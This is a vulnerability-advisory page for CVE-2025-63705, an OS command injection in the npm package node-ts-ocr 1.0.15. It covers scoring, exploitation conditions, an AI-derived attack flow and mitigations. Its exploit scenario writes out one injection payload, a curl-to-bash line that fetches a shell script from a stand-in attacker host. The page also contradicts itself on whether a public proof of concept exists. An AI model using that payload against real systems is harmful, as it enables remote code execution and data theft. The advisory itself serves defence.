Skip to main content

node-ts-ocr CVE-2025-63705

| EUVDEUVD-2025-209722 HIGH
OS Command Injection (CWE-78)
2026-05-07 mitre GHSA-8jh2-3mw6-6pfm
8.8
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to application
  2. Delivery
    Submit crafted OCR request with command injection payload
  3. Exploit
    invokeImageOcr passes unsanitized input to shell
  4. Execution
    Execute arbitrary OS commands
  5. Impact
    Establish persistence or exfiltrate data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to have authenticated access to an application that exposes node-ts-ocr functionality through the invokeImageOcr function. The vulnerability is exploitable when authenticated users can control or influence parameters passed to OCR processing, specifically image file paths or configuration options that reach system command execution contexts. Network accessibility (AV:N) means exploitation can occur remotely without physical access. The low attack complexity (AC:L) indicates no special conditions or race conditions are required beyond the ability to supply crafted input to the OCR function. Exploitation is LIMITED by the PR:L requirement - the attacker must have valid credentials to reach the vulnerable code path, not just network access to the server. Applications where only administrative users or automated backend processes invoke OCR operations have significantly reduced exposure compared to scenarios where arbitrary authenticated users can trigger document processing.

Impact

The CVSS v3.1 score of 8.8 (High) reflects network-exploitable command injection requiring only low-privilege authentication (AV:N/AC:L/PR:L/UI:N) with complete system impact (C:H/I:H/A:H). However, real-world risk is moderated by several factors. EPSS score of 0.04% (12th percentile) indicates minimal observed exploitation activity in the wild, consistent with no CISA KEV listing. The SSVC framework assessment shows exploitation status is limited to POC availability with non-automatable exploitation and total technical impact, suggesting this requires manual targeting rather than mass scanning. The PR:L (low privilege required) requirement significantly reduces attack surface compared to unauthenticated vulnerabilities. Primary risk exists in scenarios where untrusted authenticated users can influence OCR processing parameters, such as multi-tenant SaaS applications, document processing APIs, or internal tools with broad user access. For applications where only administrative users trigger OCR operations, practical risk is substantially lower than the CVSS score suggests. The low EPSS despite high CVSS indicates this is a genuine vulnerability requiring remediation, but not an emergency-priority threat for most deployments.

Exploit ScenarioDerived

An authenticated user with low-level privileges submits a document processing request to a web application using node-ts-ocr for text extraction. The attacker crafts a malicious filename or OCR parameter containing shell metacharacters such as '; curl attacker.com/shell.sh | bash ;', which the invokeImageOcr function passes unsanitized to a system command execution function. The injected commands execute with the privileges of the Node.js application process, allowing the attacker to exfiltrate sensitive data, establish persistent backdoors, or pivot to other systems accessible from the compromised server. The publicly available proof-of-concept code demonstrates the exact injection vector and payload construction techniques.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Command injection in node-ts-ocr 1.0.15 enables authenticated attackers to execute arbitrary operating system commands through the invokeImageOcr function. The vulnerability requires low-complexity exploitation with no user interaction, allowing complete compromise of confidentiality, integrity, and availability on affected systems. Public proof-of-concept code exists (GitHub Gist), though EPSS assessment indicates 0.04% probability of active exploitation within 30 days and the vulnerability is not listed in CISA KEV, suggesting targeted rather than widespread exploitation risk.

RemediationAI

No vendor-released patch or updated version has been identified at the time of analysis. The node-ts-ocr NPM package repository should be monitored for security updates addressing this command injection vulnerability. As an immediate compensating control, implement strict input validation on all parameters passed to the invokeImageOcr function, specifically whitelisting allowed characters in file paths and rejecting any input containing shell metacharacters such as semicolons, pipes, backticks, dollar signs, or command substitution syntax. Deploy the application with principle of least privilege, ensuring the Node.js process runs under a restricted service account with minimal file system and network access to limit command injection impact. For high-risk environments, consider replacing node-ts-ocr with alternative OCR libraries that have active security maintenance or implement OCR processing in isolated sandboxed containers with no access to sensitive resources. Authentication boundaries should be strengthened to ensure only trusted users can trigger OCR operations, and application-level logging should capture all invocations of invokeImageOcr for forensic detection. Reference the proof-of-concept at https://gist.github.com/6en6ar/a2ac44da0f4e580190be3e66cfbb9a4a to understand the exact exploitation technique and test validation controls.

Affected VersionsENISA

n/a n/a

Affected Packages

npm node-ts-ocr no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The node-ts-ocr NPM package is a TypeScript-based OCR (Optical Character Recognition) library for Node.js applications. This vulnerability stems from CWE-78 (OS Command Injection), where the invokeImageOcr function in src/index.js fails to properly sanitize user input before passing it to operating system command execution functions. In Node.js environments, this typically occurs through unsafe use of child_process.exec() or similar APIs that invoke system shells, allowing metacharacters in image file paths or OCR parameters to break out of intended command context and execute arbitrary commands. The affected CPE data is incomplete (cpe:2.3:a:n/a:n/a), but the NPM package reference confirms node-ts-ocr version 1.0.15 is the specific affected product.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (mitre) · only source for this CVE.

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
May 08, 2026 - 17:22 NVD
8.8 (HIGH)
CVE Published
May 07, 2026 - 00:00 nvd
UNKNOWN (no severity yet)
CVE Published
May 07, 2026 - 00:00 nvd
HIGH 8.8

DescriptionCVE.org

NPM package node-ts-ocr 1.0.15 is vulnerable to OS Command Injection via the invokeImageOcr function in src/index.js.

Executive ViewAI

Why It Matters

Command injection vulnerability in node-ts-ocr 1.0.15 allows authenticated users to execute arbitrary system commands with high severity (CVSS 8.8), potentially compromising confidentiality, integrity, and availability of systems running this OCR library. Organizations using this package in production environments face risk of complete system compromise through low-complexity attacks requiring only valid credentials.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to systems running node-ts-ocr 1.0.15 using firewall rules and VPC isolation; (2) Implement strong access controls limiting authenticated user base and enforcing principle of least privilege; (3) Deploy runtime application monitoring/WAF rules blocking suspicious process execution patterns originating from OCR functions; (4) Run node-ts-ocr in sandboxed container with minimal OS privileges and disabled shell access; (5) Maintain audit logging of all invokeImageOcr function calls for forensic analysis.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy